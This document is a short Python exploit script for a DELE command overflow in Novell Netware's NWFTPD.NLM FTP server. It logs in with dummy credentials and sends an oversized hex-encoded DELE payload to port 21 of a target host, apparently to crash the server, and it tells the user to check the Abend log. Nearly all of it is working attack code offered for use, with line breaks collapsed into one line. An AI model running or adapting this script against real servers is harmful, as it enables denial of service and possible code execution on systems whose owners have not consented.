Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability

#!/usr/bin/python import socket, sys # Source: # http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25 host = (sys.argv[1]) data = "\x44\x45\x4c\x45\x20\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x43\x43\x43\x43\x43\x43\x43\x43\x43\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x45\x45\x45\x45\x45\x45\x46\x46\x46\x46\x47\x47\x47\x47\x48\x48\x44\x43\x42\x41\x0d\x0a" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host, 21)) d=s.recv(1024) print (d) s.send("USER toto\r\n") #anonymous login so anything goes d=s.recv(1024) print (d) s.send("PASS toto\r\n") d=s.recv(1024) print (d) s.send(data) d=s.recv(1024) print (d) s.close() try: s.connect((host,21)) except: print ("\r\n[i] Beep Beep, take a look to your Abend log file.") except: print ("[i] Error")